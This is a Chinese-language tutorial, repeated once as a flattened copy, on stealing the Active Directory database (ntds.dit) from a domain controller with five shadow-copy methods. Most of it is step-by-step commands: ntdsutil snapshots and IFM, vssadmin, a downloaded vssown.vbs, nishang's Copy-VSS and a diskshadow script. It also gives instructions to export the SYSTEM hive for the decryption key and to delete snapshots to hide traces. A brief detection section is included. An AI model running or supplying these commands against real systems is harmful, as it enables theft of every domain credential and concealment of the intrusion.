利用卷影拷贝服务攻击域控五大绝招
字数 1708 2025-08-18 17:33:16

利用卷影拷贝服务攻击域控的五大方法详解

一、NTDS.DIT文件概述

在微软Active Directory(活动目录)中,所有数据都保存在ntds.dit文件中。NTDS.DIT是一个二进制文件,存在于域控制器的%SystemRoot%\ntds\NTDS.DIT路径下,包含但不限于以下信息:

  • 用户名(Username)
  • 密码哈希(Hash)
  • 组信息(Group)
  • 组策略首选项(GPP)
  • 组织单位(OU)信息

与SAM文件类似,NTDS.DIT被Windows系统锁定,无法直接访问。因此,攻击者通常利用VSS(Volume Shadow Copy Service)卷影拷贝服务来获取该文件。

二、五大攻击方法详解

方法1:使用ntdsutil工具提取

适用系统:Server 2003、Server 2008、Server 2012

操作步骤

  1. 创建快照

    ntdsutil snapshot "activate instance ntds" create quit quit
    

    创建后会生成一个GUID标识的快照副本。

  2. 挂载快照

    ntdsutil snapshot "mount {GUID}" quit quit
    

    快照通常挂载在类似C:\$SNAP_201808131112_VOLUMEC$\的目录下。

  3. 复制ntds.dit

    copy C:\$SNAP_201808131112_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit
    
  4. 清理痕迹

    ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
    

方法2:使用vssadmin工具提取

适用系统:Server 2008、Server 2012

操作步骤

  1. 创建卷影副本

    vssadmin create shadow /for=c:
    
  2. 复制ntds.dit

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit c:\ntds.dit
    
  3. 删除副本

    vssadmin delete shadows /for=c: /quiet
    

方法3:使用vssown.vbs脚本提取

脚本下载
https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

操作步骤

  1. 启动卷影复制服务

    cscript vssown.vbs /start
    
  2. 创建卷影副本

    cscript vssown.vbs /create c
    
  3. 列出当前卷影副本

    cscript vssown.vbs /list
    
  4. 复制ntds.dit

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\NTDS\ntds.dit c:\ntds.dit
    
  5. 删除卷影副本

    cscript vssown.vbs /delete {GUID}
    

方法4:使用NTDSUTIL的IFM创建卷影副本

操作步骤

  1. 创建IFM并复制文件

    ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
    

    该命令会将:

    • ntds.dit复制到c:\test\Active Directory目录
    • SYSTEM和SECURITY文件复制到c:\test\registry目录
  2. 清理痕迹

    rmdir /s/q test
    

PowerShell替代方法
使用nishang工具包中的Copy-VSS.ps1脚本:

import-module .\Copy-VSS.ps1
Copy-vss

脚本会将SAM、SYSTEM、ntds.dit复制到脚本同目录中。

方法5:使用diskshadow导出ntds.dit

优势

  • 微软官方签名工具
  • 默认包含在Server 2008/2012/2016中
  • 支持非交互模式操作

操作步骤

  1. 创建命令文件(command.txt),内容如下:

    set context persistent nowriters
    add volume c: alias someAlias
    create
    expose %someAlias% k:
    exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
    delete shadows all
    list shadows all
    reset
    exit
    
  2. 执行命令

    diskshadow /s c:\command.txt
    

    注意:必须在C:\windows\system32\目录下执行

  3. 导出SYSTEM文件

    reg save hklm\system c:\windows\temp\system.hive
    

三、防御措施

  1. 监控VSS服务使用

    • 检测涉及ntds.dit的可疑操作
    • 监控System Event ID 7036(VSS服务启动标志)
    • 监控VSSVC.exe进程创建事件
  2. 监控工具使用

    • 监控diskshadow.exe及相关子进程的创建
    • 在客户端设备上监控diskshadow.exe实例创建
  3. 系统加固

    • 非必要情况下删除diskshadow.exe
    • 监控新的逻辑驱动器映射事件
  4. 日志分析

    • 定期分析系统日志中的可疑卷影拷贝活动
    • 建立异常操作告警机制

四、总结要点

  1. 工具选择

    • diskshadow.exe最为灵活且为微软官方工具
    • vssadmin和ntdsutil为系统自带工具
    • vssown.vbs需要额外下载
  2. 操作注意事项

    • 使用diskshadow.exe时必须在system32目录下执行
    • 操作完成后务必清理痕迹(删除快照)
    • 检查导出的ntds.dit文件大小以确保完整性
  3. 攻击扩展

    • 这些方法可通过WMI或PowerShell远程执行
    • 可结合其他工具进行自动化攻击
  4. 关键文件

    • 获取ntds.dit的同时必须获取SYSTEM文件(包含解密密钥)
    • 也可一并获取SAM文件以增强攻击效果

通过以上五种方法,攻击者可以有效地获取域控中的关键凭据信息,进而实现横向移动和权限提升。防御方应重点关注VSS服务的异常使用和系统自带工具的可疑调用。

利用卷影拷贝服务攻击域控的五大方法详解 一、NTDS.DIT文件概述 在微软Active Directory(活动目录)中,所有数据都保存在ntds.dit文件中。NTDS.DIT是一个二进制文件,存在于域控制器的 %SystemRoot%\ntds\NTDS.DIT 路径下,包含但不限于以下信息: 用户名(Username) 密码哈希(Hash) 组信息(Group) 组策略首选项(GPP) 组织单位(OU)信息 与SAM文件类似,NTDS.DIT被Windows系统锁定,无法直接访问。因此,攻击者通常利用VSS(Volume Shadow Copy Service)卷影拷贝服务来获取该文件。 二、五大攻击方法详解 方法1:使用ntdsutil工具提取 适用系统 :Server 2003、Server 2008、Server 2012 操作步骤 : 创建快照 : 创建后会生成一个GUID标识的快照副本。 挂载快照 : 快照通常挂载在类似 C:\$SNAP_201808131112_VOLUMEC$\ 的目录下。 复制ntds.dit : 清理痕迹 : 方法2:使用vssadmin工具提取 适用系统 :Server 2008、Server 2012 操作步骤 : 创建卷影副本 : 复制ntds.dit : 删除副本 : 方法3:使用vssown.vbs脚本提取 脚本下载 : https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs 操作步骤 : 启动卷影复制服务 : 创建卷影副本 : 列出当前卷影副本 : 复制ntds.dit : 删除卷影副本 : 方法4:使用NTDSUTIL的IFM创建卷影副本 操作步骤 : 创建IFM并复制文件 : 该命令会将: ntds.dit复制到 c:\test\Active Directory 目录 SYSTEM和SECURITY文件复制到 c:\test\registry 目录 清理痕迹 : PowerShell替代方法 : 使用nishang工具包中的Copy-VSS.ps1脚本: 脚本会将SAM、SYSTEM、ntds.dit复制到脚本同目录中。 方法5:使用diskshadow导出ntds.dit 优势 : 微软官方签名工具 默认包含在Server 2008/2012/2016中 支持非交互模式操作 操作步骤 : 创建命令文件(command.txt) ,内容如下: 执行命令 : 注意:必须在 C:\windows\system32\ 目录下执行 导出SYSTEM文件 : 三、防御措施 监控VSS服务使用 : 检测涉及ntds.dit的可疑操作 监控System Event ID 7036(VSS服务启动标志) 监控VSSVC.exe进程创建事件 监控工具使用 : 监控diskshadow.exe及相关子进程的创建 在客户端设备上监控diskshadow.exe实例创建 系统加固 : 非必要情况下删除diskshadow.exe 监控新的逻辑驱动器映射事件 日志分析 : 定期分析系统日志中的可疑卷影拷贝活动 建立异常操作告警机制 四、总结要点 工具选择 : diskshadow.exe最为灵活且为微软官方工具 vssadmin和ntdsutil为系统自带工具 vssown.vbs需要额外下载 操作注意事项 : 使用diskshadow.exe时必须在system32目录下执行 操作完成后务必清理痕迹(删除快照) 检查导出的ntds.dit文件大小以确保完整性 攻击扩展 : 这些方法可通过WMI或PowerShell远程执行 可结合其他工具进行自动化攻击 关键文件 : 获取ntds.dit的同时必须获取SYSTEM文件(包含解密密钥) 也可一并获取SAM文件以增强攻击效果 通过以上五种方法,攻击者可以有效地获取域控中的关键凭据信息,进而实现横向移动和权限提升。防御方应重点关注VSS服务的异常使用和系统自带工具的可疑调用。